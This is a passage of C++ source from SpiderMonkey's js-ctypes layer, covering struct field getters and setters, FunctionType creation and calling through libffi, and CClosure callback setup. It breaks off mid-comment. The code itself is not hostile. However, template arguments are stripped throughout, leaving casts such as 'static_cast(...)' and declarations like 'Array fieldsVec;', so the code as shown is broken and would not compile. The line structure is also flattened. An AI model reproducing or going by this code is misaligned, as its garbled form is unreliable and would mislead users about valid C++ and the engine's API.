1, or %u arguments", fields->count()); return JS_FALSE; } const FieldInfoHash* StructType::GetFieldInfo(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_struct); jsval slot = JS_GetReservedSlot(obj, SLOT_FIELDINFO); JS_ASSERT(!JSVAL_IS_VOID(slot) && JSVAL_TO_PRIVATE(slot)); return static_cast(JSVAL_TO_PRIVATE(slot)); } const FieldInfo* StructType::LookupField(JSContext* cx, JSObject* obj, JSFlatString *name) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_struct); FieldInfoHash::Ptr ptr = GetFieldInfo(obj)->lookup(name); if (ptr) return &ptr->value; JSAutoByteString bytes(cx, name); if (!bytes) return NULL; JS_ReportError(cx, "%s does not name a field", bytes.ptr()); return NULL; } JSObject* StructType::BuildFieldsArray(JSContext* cx, JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_struct); JS_ASSERT(CType::IsSizeDefined(obj)); const FieldInfoHash* fields = GetFieldInfo(obj); size_t len = fields->count(); // Prepare a new array for the 'fields' property of the StructType. Array fieldsVec; if (!fieldsVec.appendN(JSVAL_VOID, len)) return NULL; js::AutoArrayRooter root(cx, fieldsVec.length(), fieldsVec.begin()); for (FieldInfoHash::Range r = fields->all(); !r.empty(); r.popFront()) { const FieldInfoHash::Entry& entry = r.front(); // Add the field descriptor to the array. if (!AddFieldToArray(cx, &fieldsVec[entry.value.mIndex], entry.key, entry.value.mType)) return NULL; } RootedObject fieldsProp(cx, JS_NewArrayObject(cx, len, fieldsVec.begin())); if (!fieldsProp) return NULL; // Seal the fields array. if (!JS_FreezeObject(cx, fieldsProp)) return NULL; return fieldsProp; } JSBool StructType::FieldsArrayGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_struct) { JS_ReportError(cx, "not a StructType"); return JS_FALSE; } vp.set(JS_GetReservedSlot(obj, SLOT_FIELDS)); if (!CType::IsSizeDefined(obj)) { JS_ASSERT(JSVAL_IS_VOID(vp)); return JS_TRUE; } if (JSVAL_IS_VOID(vp)) { // Build the 'fields' array lazily. JSObject* fields = BuildFieldsArray(cx, obj); if (!fields) return JS_FALSE; JS_SetReservedSlot(obj, SLOT_FIELDS, OBJECT_TO_JSVAL(fields)); vp.set(OBJECT_TO_JSVAL(fields)); } JS_ASSERT(!JSVAL_IS_PRIMITIVE(vp) && JS_IsArrayObject(cx, JSVAL_TO_OBJECT(vp))); return JS_TRUE; } JSBool StructType::FieldGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_struct) { JS_ReportError(cx, "not a StructType"); return JS_FALSE; } const FieldInfo* field = LookupField(cx, typeObj, JSID_TO_FLAT_STRING(idval)); if (!field) return JS_FALSE; char* data = static_cast(CData::GetData(obj)) + field->mOffset; RootedObject fieldType(cx, field->mType); return ConvertToJS(cx, fieldType, obj, data, false, false, vp.address()); } JSBool StructType::FieldSetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp) { if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_struct) { JS_ReportError(cx, "not a StructType"); return JS_FALSE; } const FieldInfo* field = LookupField(cx, typeObj, JSID_TO_FLAT_STRING(idval)); if (!field) return JS_FALSE; char* data = static_cast(CData::GetData(obj)) + field->mOffset; return ImplicitConvert(cx, vp, field->mType, data, false, NULL); } JSBool StructType::AddressOfField(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return JS_FALSE; } JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_struct) { JS_ReportError(cx, "not a StructType"); return JS_FALSE; } if (argc != 1) { JS_ReportError(cx, "addressOfField takes one argument"); return JS_FALSE; } JSFlatString *str = JS_FlattenString(cx, JSVAL_TO_STRING(JS_ARGV(cx, vp)[0])); if (!str) return JS_FALSE; const FieldInfo* field = LookupField(cx, typeObj, str); if (!field) return JS_FALSE; RootedObject baseType(cx, field->mType); RootedObject pointerType(cx, PointerType::CreateInternal(cx, baseType)); if (!pointerType) return JS_FALSE; // Create a PointerType CData object containing null. JSObject* result = CData::Create(cx, pointerType, NullPtr(), NULL, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); // Manually set the pointer inside the object, so we skip the conversion step. void** data = static_cast(CData::GetData(result)); *data = static_cast(CData::GetData(obj)) + field->mOffset; return JS_TRUE; } /******************************************************************************* ** FunctionType implementation *******************************************************************************/ // Helper class for handling allocation of function arguments. struct AutoValue { AutoValue() : mData(NULL) { } ~AutoValue() { UnwantedForeground::array_delete(static_cast(mData)); } bool SizeToType(JSContext* cx, JSObject* type) { // Allocate a minimum of sizeof(ffi_arg) to handle small integers. size_t size = Align(CType::GetSize(type), sizeof(ffi_arg)); mData = cx->array_new(size); if (mData) memset(mData, 0, size); return mData != NULL; } void* mData; }; static bool GetABI(JSContext* cx, jsval abiType, ffi_abi* result) { if (JSVAL_IS_PRIMITIVE(abiType)) return false; ABICode abi = GetABICode(JSVAL_TO_OBJECT(abiType)); // determine the ABI from the subset of those available on the // given platform. ABI_DEFAULT specifies the default // C calling convention (cdecl) on each platform. switch (abi) { case ABI_DEFAULT: *result = FFI_DEFAULT_ABI; return true; case ABI_STDCALL: case ABI_WINAPI: #if (defined(_WIN32) && !defined(_WIN64)) || defined(_OS2) *result = FFI_STDCALL; return true; #elif (defined(_WIN64)) // We'd like the same code to work across Win32 and Win64, so stdcall_api // and winapi_abi become aliases to the lone Win64 ABI. *result = FFI_WIN64; return true; #endif case INVALID_ABI: break; } return false; } static JSObject* PrepareType(JSContext* cx, jsval type) { if (JSVAL_IS_PRIMITIVE(type) || !CType::IsCType(JSVAL_TO_OBJECT(type))) { JS_ReportError(cx, "not a ctypes type"); return NULL; } JSObject* result = JSVAL_TO_OBJECT(type); TypeCode typeCode = CType::GetTypeCode(result); if (typeCode == TYPE_array) { // convert array argument types to pointers, just like C. // ImplicitConvert will do the same, when passing an array as data. RootedObject baseType(cx, ArrayType::GetBaseType(result)); result = PointerType::CreateInternal(cx, baseType); if (!result) return NULL; } else if (typeCode == TYPE_void_t || typeCode == TYPE_function) { // disallow void or function argument types JS_ReportError(cx, "Cannot have void or function argument type"); return NULL; } if (!CType::IsSizeDefined(result)) { JS_ReportError(cx, "Argument type must have defined size"); return NULL; } // libffi cannot pass types of zero size by value. JS_ASSERT(CType::GetSize(result) != 0); return result; } static JSObject* PrepareReturnType(JSContext* cx, jsval type) { if (JSVAL_IS_PRIMITIVE(type) || !CType::IsCType(JSVAL_TO_OBJECT(type))) { JS_ReportError(cx, "not a ctypes type"); return NULL; } JSObject* result = JSVAL_TO_OBJECT(type); TypeCode typeCode = CType::GetTypeCode(result); // Arrays and functions can never be return types. if (typeCode == TYPE_array || typeCode == TYPE_function) { JS_ReportError(cx, "Return type cannot be an array or function"); return NULL; } if (typeCode != TYPE_void_t && !CType::IsSizeDefined(result)) { JS_ReportError(cx, "Return type must have defined size"); return NULL; } // libffi cannot pass types of zero size by value. JS_ASSERT(typeCode == TYPE_void_t || CType::GetSize(result) != 0); return result; } static JS_ALWAYS_INLINE JSBool IsEllipsis(JSContext* cx, jsval v, bool* isEllipsis) { *isEllipsis = false; if (!JSVAL_IS_STRING(v)) return true; JSString* str = JSVAL_TO_STRING(v); if (str->length() != 3) return true; const jschar* chars = str->getChars(cx); if (!chars) return false; jschar dot = '.'; *isEllipsis = (chars[0] == dot && chars[1] == dot && chars[2] == dot); return true; } static JSBool PrepareCIF(JSContext* cx, FunctionInfo* fninfo) { ffi_abi abi; if (!GetABI(cx, OBJECT_TO_JSVAL(fninfo->mABI), &abi)) { JS_ReportError(cx, "Invalid ABI specification"); return false; } ffi_type* rtype = CType::GetFFIType(cx, fninfo->mReturnType); if (!rtype) return false; ffi_status status = ffi_prep_cif(&fninfo->mCIF, abi, fninfo->mFFITypes.length(), rtype, fninfo->mFFITypes.begin()); switch (status) { case FFI_OK: return true; case FFI_BAD_ABI: JS_ReportError(cx, "Invalid ABI specification"); return false; case FFI_BAD_TYPEDEF: JS_ReportError(cx, "Invalid type specification"); return false; default: JS_ReportError(cx, "Unknown libffi error"); return false; } } void FunctionType::BuildSymbolName(JSString* name, JSObject* typeObj, AutoCString& result) { FunctionInfo* fninfo = GetFunctionInfo(typeObj); switch (GetABICode(fninfo->mABI)) { case ABI_DEFAULT: case ABI_WINAPI: // For cdecl or WINAPI functions, no mangling is necessary. AppendString(result, name); break; case ABI_STDCALL: { #if (defined(_WIN32) && !defined(_WIN64)) || defined(_OS2) // On WIN32, stdcall functions look like: // _foo@40 // where 'foo' is the function name, and '40' is the aligned size of the // arguments. AppendString(result, "_"); AppendString(result, name); AppendString(result, "@"); // Compute the suffix by aligning each argument to sizeof(ffi_arg). size_t size = 0; for (size_t i = 0; i < fninfo->mArgTypes.length(); ++i) { JSObject* argType = fninfo->mArgTypes[i]; size += Align(CType::GetSize(argType), sizeof(ffi_arg)); } IntegerToString(size, 10, result); #elif defined(_WIN64) // On Win64, stdcall is an alias to the default ABI for compatibility, so no // mangling is done. AppendString(result, name); #endif break; } case INVALID_ABI: JS_NOT_REACHED("invalid abi"); break; } } static FunctionInfo* NewFunctionInfo(JSContext* cx, jsval abiType, jsval returnType, jsval* argTypes, unsigned argLength) { AutoPtr fninfo(cx->new_()); if (!fninfo) { JS_ReportOutOfMemory(cx); return NULL; } ffi_abi abi; if (!GetABI(cx, abiType, &abi)) { JS_ReportError(cx, "Invalid ABI specification"); return NULL; } fninfo->mABI = JSVAL_TO_OBJECT(abiType); // prepare the result type fninfo->mReturnType = PrepareReturnType(cx, returnType); if (!fninfo->mReturnType) return NULL; // prepare the argument types if (!fninfo->mArgTypes.reserve(argLength) || !fninfo->mFFITypes.reserve(argLength)) { JS_ReportOutOfMemory(cx); return NULL; } fninfo->mIsVariadic = false; for (uint32_t i = 0; i < argLength; ++i) { bool isEllipsis; if (!IsEllipsis(cx, argTypes[i], &isEllipsis)) return NULL; if (isEllipsis) { fninfo->mIsVariadic = true; if (i < 1) { JS_ReportError(cx, "\"...\" may not be the first and only parameter " "type of a variadic function declaration"); return NULL; } if (i < argLength - 1) { JS_ReportError(cx, "\"...\" must be the last parameter type of a " "variadic function declaration"); return NULL; } if (GetABICode(fninfo->mABI) != ABI_DEFAULT) { JS_ReportError(cx, "Variadic functions must use the __cdecl calling " "convention"); return NULL; } break; } JSObject* argType = PrepareType(cx, argTypes[i]); if (!argType) return NULL; ffi_type* ffiType = CType::GetFFIType(cx, argType); if (!ffiType) return NULL; fninfo->mArgTypes.infallibleAppend(argType); fninfo->mFFITypes.infallibleAppend(ffiType); } if (fninfo->mIsVariadic) // wait to PrepareCIF until function is called return fninfo.forget(); if (!PrepareCIF(cx, fninfo.get())) return NULL; return fninfo.forget(); } JSBool FunctionType::Create(JSContext* cx, unsigned argc, jsval* vp) { // Construct and return a new FunctionType object. if (argc < 2 || argc > 3) { JS_ReportError(cx, "FunctionType takes two or three arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); Array argTypes; RootedObject arrayObj(cx, NULL); if (argc == 3) { // Prepare an array of jsvals for the arguments. if (!JSVAL_IS_PRIMITIVE(argv[2])) arrayObj = JSVAL_TO_OBJECT(argv[2]); if (!arrayObj || !JS_IsArrayObject(cx, arrayObj)) { JS_ReportError(cx, "third argument must be an array"); return JS_FALSE; } uint32_t len; ASSERT_OK(JS_GetArrayLength(cx, arrayObj, &len)); if (!argTypes.appendN(JSVAL_VOID, len)) { JS_ReportOutOfMemory(cx); return JS_FALSE; } } // Pull out the argument types from the array, if any. JS_ASSERT(!argTypes.length() || arrayObj); js::AutoArrayRooter items(cx, argTypes.length(), argTypes.begin()); for (uint32_t i = 0; i < argTypes.length(); ++i) { if (!JS_GetElement(cx, arrayObj, i, &argTypes[i])) return JS_FALSE; } JSObject* result = CreateInternal(cx, argv[0], argv[1], argTypes.begin(), argTypes.length()); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSObject* FunctionType::CreateInternal(JSContext* cx, jsval abi, jsval rtype, jsval* argtypes, unsigned arglen) { // Determine and check the types, and prepare the function CIF. AutoPtr fninfo(NewFunctionInfo(cx, abi, rtype, argtypes, arglen)); if (!fninfo) return NULL; // Get ctypes.FunctionType.prototype and the common prototype for CData objects // of this type, from ctypes.CType.prototype. RootedObject typeProto(cx, CType::GetProtoFromType(fninfo->mReturnType, SLOT_FUNCTIONPROTO)); RootedObject dataProto(cx, CType::GetProtoFromType(fninfo->mReturnType, SLOT_FUNCTIONDATAPROTO)); // Create a new CType object with the common properties and slots. JSObject* typeObj = CType::Create(cx, typeProto, dataProto, TYPE_function, NULL, JSVAL_VOID, JSVAL_VOID, NULL); if (!typeObj) return NULL; js::AutoObjectRooter root(cx, typeObj); // Stash the FunctionInfo in a reserved slot. JS_SetReservedSlot(typeObj, SLOT_FNINFO, PRIVATE_TO_JSVAL(fninfo.forget())); return typeObj; } // Construct a function pointer to a JS function (see CClosure::Create()). // Regular function pointers are constructed directly in // PointerType::ConstructData(). JSBool FunctionType::ConstructData(JSContext* cx, JSHandleObject typeObj, JSHandleObject dataObj, JSHandleObject fnObj, JSHandleObject thisObj, jsval errVal) { JS_ASSERT(CType::GetTypeCode(typeObj) == TYPE_function); PRFuncPtr* data = static_cast(CData::GetData(dataObj)); FunctionInfo* fninfo = FunctionType::GetFunctionInfo(typeObj); if (fninfo->mIsVariadic) { JS_ReportError(cx, "Can't declare a variadic callback function"); return JS_FALSE; } if (GetABICode(fninfo->mABI) == ABI_WINAPI) { JS_ReportError(cx, "Can't declare a ctypes.winapi_abi callback function, " "use ctypes.stdcall_abi instead"); return JS_FALSE; } JSObject* closureObj = CClosure::Create(cx, typeObj, fnObj, thisObj, errVal, data); if (!closureObj) return JS_FALSE; js::AutoObjectRooter root(cx, closureObj); // Set the closure object as the referent of the new CData object. JS_SetReservedSlot(dataObj, SLOT_REFERENT, OBJECT_TO_JSVAL(closureObj)); // Seal the CData object, to prevent modification of the function pointer. // This permanently associates this object with the closure, and avoids // having to do things like reset SLOT_REFERENT when someone tries to // change the pointer value. // XXX This will need to change when bug 541212 is fixed -- CData::ValueSetter // could be called on a frozen object. return JS_FreezeObject(cx, dataObj); } typedef Array AutoValueAutoArray; static JSBool ConvertArgument(JSContext* cx, jsval arg, JSObject* type, AutoValue* value, AutoValueAutoArray* strings) { if (!value->SizeToType(cx, type)) { JS_ReportAllocationOverflow(cx); return false; } bool freePointer = false; if (!ImplicitConvert(cx, arg, type, value->mData, true, &freePointer)) return false; if (freePointer) { // ImplicitConvert converted a string for us, which we have to free. // Keep track of it. if (!strings->growBy(1)) { JS_ReportOutOfMemory(cx); return false; } strings->back().mData = *static_cast(value->mData); } return true; } JSBool FunctionType::Call(JSContext* cx, unsigned argc, jsval* vp) { // get the callee object... JSObject* obj = JSVAL_TO_OBJECT(JS_CALLEE(cx, vp)); if (!CData::IsCData(obj)) { JS_ReportError(cx, "not a CData"); return false; } JSObject* typeObj = CData::GetCType(obj); if (CType::GetTypeCode(typeObj) != TYPE_pointer) { JS_ReportError(cx, "not a FunctionType.ptr"); return false; } typeObj = PointerType::GetBaseType(typeObj); if (CType::GetTypeCode(typeObj) != TYPE_function) { JS_ReportError(cx, "not a FunctionType.ptr"); return false; } FunctionInfo* fninfo = GetFunctionInfo(typeObj); uint32_t argcFixed = fninfo->mArgTypes.length(); if ((!fninfo->mIsVariadic && argc != argcFixed) || (fninfo->mIsVariadic && argc < argcFixed)) { JS_ReportError(cx, "Number of arguments does not match declaration"); return false; } // Check if we have a Library object. If we do, make sure it's open. jsval slot = JS_GetReservedSlot(obj, SLOT_REFERENT); if (!JSVAL_IS_VOID(slot) && Library::IsLibrary(JSVAL_TO_OBJECT(slot))) { PRLibrary* library = Library::GetLibrary(JSVAL_TO_OBJECT(slot)); if (!library) { JS_ReportError(cx, "library is not open"); return false; } } // prepare the values for each argument AutoValueAutoArray values; AutoValueAutoArray strings; if (!values.resize(argc)) { JS_ReportOutOfMemory(cx); return false; } jsval* argv = JS_ARGV(cx, vp); for (unsigned i = 0; i < argcFixed; ++i) if (!ConvertArgument(cx, argv[i], fninfo->mArgTypes[i], &values[i], &strings)) return false; if (fninfo->mIsVariadic) { if (!fninfo->mFFITypes.resize(argc)) { JS_ReportOutOfMemory(cx); return false; } JSObject* obj; // Could reuse obj instead of declaring a second JSObject* type; // JSObject*, but readability would suffer. for (uint32_t i = argcFixed; i < argc; ++i) { if (JSVAL_IS_PRIMITIVE(argv[i]) || !CData::IsCData(obj = JSVAL_TO_OBJECT(argv[i]))) { // Since we know nothing about the CTypes of the ... arguments, // they absolutely must be CData objects already. JS_ReportError(cx, "argument %d of type %s is not a CData object", i, JS_GetTypeName(cx, JS_TypeOfValue(cx, argv[i]))); return false; } if (!(type = CData::GetCType(obj)) || !(type = PrepareType(cx, OBJECT_TO_JSVAL(type))) || // Relying on ImplicitConvert only for the limited purpose of // converting one CType to another (e.g., T[] to T*). !ConvertArgument(cx, argv[i], type, &values[i], &strings) || !(fninfo->mFFITypes[i] = CType::GetFFIType(cx, type))) { // These functions report their own errors. return false; } } if (!PrepareCIF(cx, fninfo)) return false; } // initialize a pointer to an appropriate location, for storing the result AutoValue returnValue; TypeCode typeCode = CType::GetTypeCode(fninfo->mReturnType); if (typeCode != TYPE_void_t && !returnValue.SizeToType(cx, fninfo->mReturnType)) { JS_ReportAllocationOverflow(cx); return false; } uintptr_t fn = *reinterpret_cast(CData::GetData(obj)); #if defined(XP_WIN) int32_t lastErrorStatus; // The status as defined by |GetLastError| int32_t savedLastError = GetLastError(); SetLastError(0); #endif //defined(XP_WIN) int errnoStatus; // The status as defined by |errno| int savedErrno = errno; errno = 0; // suspend the request before we call into the function, since the call // may block or otherwise take a long time to return. { JSAutoSuspendRequest suspend(cx); ffi_call(&fninfo->mCIF, FFI_FN(fn), returnValue.mData, reinterpret_cast(values.begin())); // Save error value. // We need to save it before leaving the scope of |suspend| as destructing // |suspend| has the side-effect of clearing |GetLastError| // (see bug 684017). errnoStatus = errno; #if defined(XP_WIN) lastErrorStatus = GetLastError(); #endif // defined(XP_WIN) } #if defined(XP_WIN) SetLastError(savedLastError); #endif // defined(XP_WIN) errno = savedErrno; // Store the error value for later consultation with |ctypes.getStatus| JSObject *objCTypes = CType::GetGlobalCTypes(cx, typeObj); JS_SetReservedSlot(objCTypes, SLOT_ERRNO, INT_TO_JSVAL(errnoStatus)); #if defined(XP_WIN) JS_SetReservedSlot(objCTypes, SLOT_LASTERROR, INT_TO_JSVAL(lastErrorStatus)); #endif // defined(XP_WIN) // Small integer types get returned as a word-sized ffi_arg. Coerce it back // into the correct size for ConvertToJS. switch (typeCode) { #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: \ if (sizeof(type) < sizeof(ffi_arg)) { \ ffi_arg data = *static_cast(returnValue.mData); \ *static_cast(returnValue.mData) = static_cast(data); \ } \ break; #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_BOOL_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_CHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_JSCHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #include "typedefs.h" default: break; } // prepare a JS object from the result RootedObject returnType(cx, fninfo->mReturnType); return ConvertToJS(cx, returnType, NullPtr(), returnValue.mData, false, true, vp); } FunctionInfo* FunctionType::GetFunctionInfo(JSObject* obj) { JS_ASSERT(CType::IsCType(obj)); JS_ASSERT(CType::GetTypeCode(obj) == TYPE_function); jsval slot = JS_GetReservedSlot(obj, SLOT_FNINFO); JS_ASSERT(!JSVAL_IS_VOID(slot) && JSVAL_TO_PRIVATE(slot)); return static_cast(JSVAL_TO_PRIVATE(slot)); } static JSBool CheckFunctionType(JSContext* cx, JSObject* obj) { if (!CType::IsCType(obj) || CType::GetTypeCode(obj) != TYPE_function) { JS_ReportError(cx, "not a FunctionType"); return JS_FALSE; } return JS_TRUE; } JSBool FunctionType::ArgTypesGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CheckFunctionType(cx, obj)) return JS_FALSE; // Check if we have a cached argTypes array. vp.set(JS_GetReservedSlot(obj, SLOT_ARGS_T)); if (!JSVAL_IS_VOID(vp)) return JS_TRUE; FunctionInfo* fninfo = GetFunctionInfo(obj); size_t len = fninfo->mArgTypes.length(); // Prepare a new array. Array vec; if (!vec.resize(len)) return JS_FALSE; for (size_t i = 0; i < len; ++i) vec[i] = OBJECT_TO_JSVAL(fninfo->mArgTypes[i]); RootedObject argTypes(cx, JS_NewArrayObject(cx, len, vec.begin())); if (!argTypes) return JS_FALSE; // Seal and cache it. if (!JS_FreezeObject(cx, argTypes)) return JS_FALSE; JS_SetReservedSlot(obj, SLOT_ARGS_T, OBJECT_TO_JSVAL(argTypes)); vp.set(OBJECT_TO_JSVAL(argTypes)); return JS_TRUE; } JSBool FunctionType::ReturnTypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CheckFunctionType(cx, obj)) return JS_FALSE; // Get the returnType object from the FunctionInfo. vp.set(OBJECT_TO_JSVAL(GetFunctionInfo(obj)->mReturnType)); return JS_TRUE; } JSBool FunctionType::ABIGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CheckFunctionType(cx, obj)) return JS_FALSE; // Get the abi object from the FunctionInfo. vp.set(OBJECT_TO_JSVAL(GetFunctionInfo(obj)->mABI)); return JS_TRUE; } JSBool FunctionType::IsVariadicGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp) { if (!CheckFunctionType(cx, obj)) return JS_FALSE; vp.set(BOOLEAN_TO_JSVAL(GetFunctionInfo(obj)->mIsVariadic)); return JS_TRUE; } /******************************************************************************* ** CClosure implementation *******************************************************************************/ JSObject* CClosure::Create(JSContext* cx, HandleObject typeObj, HandleObject fnObj, HandleObject thisObj, jsval errVal, PRFuncPtr* fnptr) { JS_ASSERT(fnObj); RootedObject result(cx, JS_NewObject(cx, &sCClosureClass, NULL, NULL)); if (!result) return NULL; // Get the FunctionInfo from the FunctionType. FunctionInfo* fninfo = FunctionType::GetFunctionInfo(typeObj); JS_ASSERT(!fninfo->mIsVariadic); JS_ASSERT(GetABICode(fninfo->mABI) != ABI_WINAPI); AutoPtr cinfo(cx->new_(JS_GetRuntime(cx))); if (!cinfo) { JS_ReportOutOfMemory(cx); return NULL; } // Get the prototype of the FunctionType object, of class CTypeProto, // which stores our JSContext for use with the closure. JSObject* proto = JS_GetPrototype(typeObj); JS_ASSERT(proto); JS_ASSERT(CType::IsCTypeProto(proto)); // Get a JSContext for use with the closure. jsval slot = JS_GetReservedSlot(proto, SLOT_CLOSURECX); if (!JSVAL_IS_VOID(slot)) { // Use the existing JSContext. cinfo->cx = static_cast(JSVAL_TO_PRIVATE(slot)); JS_ASSERT(cinfo->cx); } else { // Lazily instantiate a new JSContext, and stash it on // ctypes.FunctionType.prototype. JSRuntime* runtime = JS_GetRuntime(cx); cinfo->cx = JS_NewContext(runtime, 8192); if (!cinfo->cx) { JS_ReportOutOfMemory(cx); return NULL; } JS_SetReservedSlot(proto, SLOT_CLOSURECX, PRIVATE_TO_JSVAL(cinfo->cx)); } // Prepare the error sentinel value. It's important to do this now, because // we might be unable to convert the value to the proper type. If so, we want // the caller to know about it _now_, rather than some uncertain time in the // future when the error sentinel is actually needed. if (!JSVAL_IS_VOID(errVal)) { // Make sure the callback returns something. if (CType::GetTypeCode(fninfo->mReturnType) == TYPE_void_t) { JS_ReportError(cx, "A void callback can't pass an error sentinel"); return NULL; } // With the exception of void, the FunctionType constructor ensures that // the return type has a defined size. JS_ASSERT(CType::IsSizeDefined(fninfo->mReturnType)); // Allocate a buffer for the return value. size_t rvSize = CType::GetSize(fninfo->mReturnType); cinfo->errResult = cx->malloc_(rvSize); if (!cinfo->errResult) return NULL; // Do the value conversion. This might fail, in which case we throw. if (!ImplicitConvert(cx, errVal, fninfo->mReturnType, cinfo->errResult, false, NULL)) return NULL; } else { cinfo->errResult = NULL; } // Copy the important bits of context into cinfo. cinfo->closureObj = result; cinfo->typeObj = typeObj; cinfo->thisObj = thisObj; cinfo->jsfnObj = fnObj; // Create an ffi_closure object and initialize it. void* code; cinfo->closure = static_cast(ffi_closure_alloc(sizeof(ffi_closure), &code)); if (!cinfo->closure || !code) { JS_ReportError(cx, "couldn't create closure - libffi error"); return NULL; } ffi_status status = ffi_prep_closure_loc(cinfo->closure, &fninfo->mCIF, CClosure::ClosureStub, cinfo.get(), code); if (status != FFI_OK) { JS_ReportError(cx, "couldn't create closure - libffi error"); return NULL; } // Stash the ClosureInfo struct on our new object. JS_SetReservedSlot(result, SLOT_CLOSUREINFO, PRIVATE_TO_JSVAL(cinfo.forget())); // Casting between void* and a function pointer is forbidden in C and C++. // Do it via an integral type. *fnptr = reinterpret_cast(reinterpret_cast(code)); return result; } void CClosure::Trace(JSTracer* trc, JSObject* obj) { // Make sure our ClosureInfo slot is legit. If it's not, bail. jsval slot = JS_GetReservedSlot(obj, SLOT_CLOSUREINFO); if (JSVAL_IS_VOID(slot)) return; ClosureInfo* cinfo = static_cast(JSVAL_TO_PRIVATE(slot)); // Identify our objects to the tracer. (There's no need to identify // 'closureObj', since that's us.) JS_CALL_OBJECT_TRACER(trc, cinfo->typeObj, "typeObj"); JS_CALL_OBJECT_TRACER(trc, cinfo->jsfnObj, "jsfnObj"); if (cinfo->thisObj) JS_CALL_OBJECT_TRACER(trc, cinfo->thisObj, "thisObj"); } void CClosure::Finalize(JSFreeOp *fop, JSObject* obj) { // Make sure our ClosureInfo slot is legit. If it's not, bail. jsval slot = JS_GetReservedSlot(obj, SLOT_CLOSUREINFO); if (JSVAL_IS_VOID(slot)) return; ClosureInfo* cinfo = static_cast(JSVAL_TO_PRIVATE(slot)); FreeOp::get(fop)->delete_(cinfo); } void CClosure::ClosureStub(ffi_cif* cif, void* result, void** args, void* userData) { JS_ASSERT(cif); JS_ASSERT(result); JS_ASSERT(args); JS_ASSERT(userData); // Retrieve the essentials from our closure object. ClosureInfo* cinfo = static_cast(userData); JSContext* cx = cinfo->cx; RootedObject typeObj(cx, cinfo->typeObj); RootedObject thisObj(cx, cinfo->thisObj); RootedObject jsfnObj(cx, cinfo->jsfnObj); JS_AbortIfWrongThread(JS_GetRuntime(cx)); JSAutoRequest ar(cx); JSAutoCompartment ac(cx, jsfnObj); // Assert that our CIFs agree. FunctionInfo* fninfo = FunctionType::GetFunctionInfo(typeObj); JS_ASSERT(cif == &fninfo->mCIF); TypeCode typeCode = CType::GetTypeCode(fninfo->mReturnType); // Initialize the result to zero, in case something fails. Small integer types // are promoted to a word-sized ffi_arg, so we must be careful to zero the // whole word. size_t rvSize = 0; if (cif->rtype != &ffi_type_void) { rvSize = cif->rtype->size; switch (typeCode) { #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_BOOL_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_CHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_JSCHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #include "typedefs.h" rvSize = Align(rvSize, sizeof(ffi_arg)); break; default: break; } memset(result, 0, rvSize); } // Get a death grip on 'closureObj'. js::AutoObjectRooter root(cx, cinfo->closureObj); // Set up an array for converted arguments. Array argv; if (!argv.appendN(JSVAL_VOID, cif->nargs)) { JS_ReportOutOfMemory(cx); return; } js::AutoArrayRooter roots(cx, argv.length(), argv.begin()); for (uint32_t i = 0; i < cif->nargs; ++i) { // Convert each argument, and have any CData objects created depend on // the existing buffers. RootedObject argType(cx, fninfo->mArgTypes[i]); if (!ConvertToJS(cx, argType, NullPtr(), args[i], false, false, &argv[i])) return; } // Call the JS function. 'thisObj' may be NULL, in which case the JS engine // will find an appropriate object to use. jsval rval; JSBool success = JS_CallFunctionValue(cx, thisObj, OBJECT_TO_JSVAL(jsfnObj), cif->nargs, argv.begin(), &rval); // Convert the result. Note that we pass 'isArgument = false', such that // ImplicitConvert will *not* autoconvert a JS string into a pointer-to-char // type, which would require an allocation that we can't track. The JS // function must perform this conversion itself and return a PointerType // CData; thusly, the burden of freeing the data is left to the user. if (success && cif->rtype != &ffi_type_void) success = ImplicitConvert(cx, rval, fninfo->mReturnType, result, false, NULL); if (!success) { // Something failed. The callee may have thrown, or it may not have // returned a value that ImplicitConvert() was happy with. Depending on how // prudent the consumer has been, we may or may not have a recovery plan. // In any case, a JS exception cannot be passed to C code, so report the // exception if any and clear it from the cx. if (JS_IsExceptionPending(cx)) JS_ReportPendingException(cx); if (cinfo->errResult) { // Good case: we have a sentinel that we can return. Copy it in place of // the actual return value, and then proceed. // The buffer we're returning might 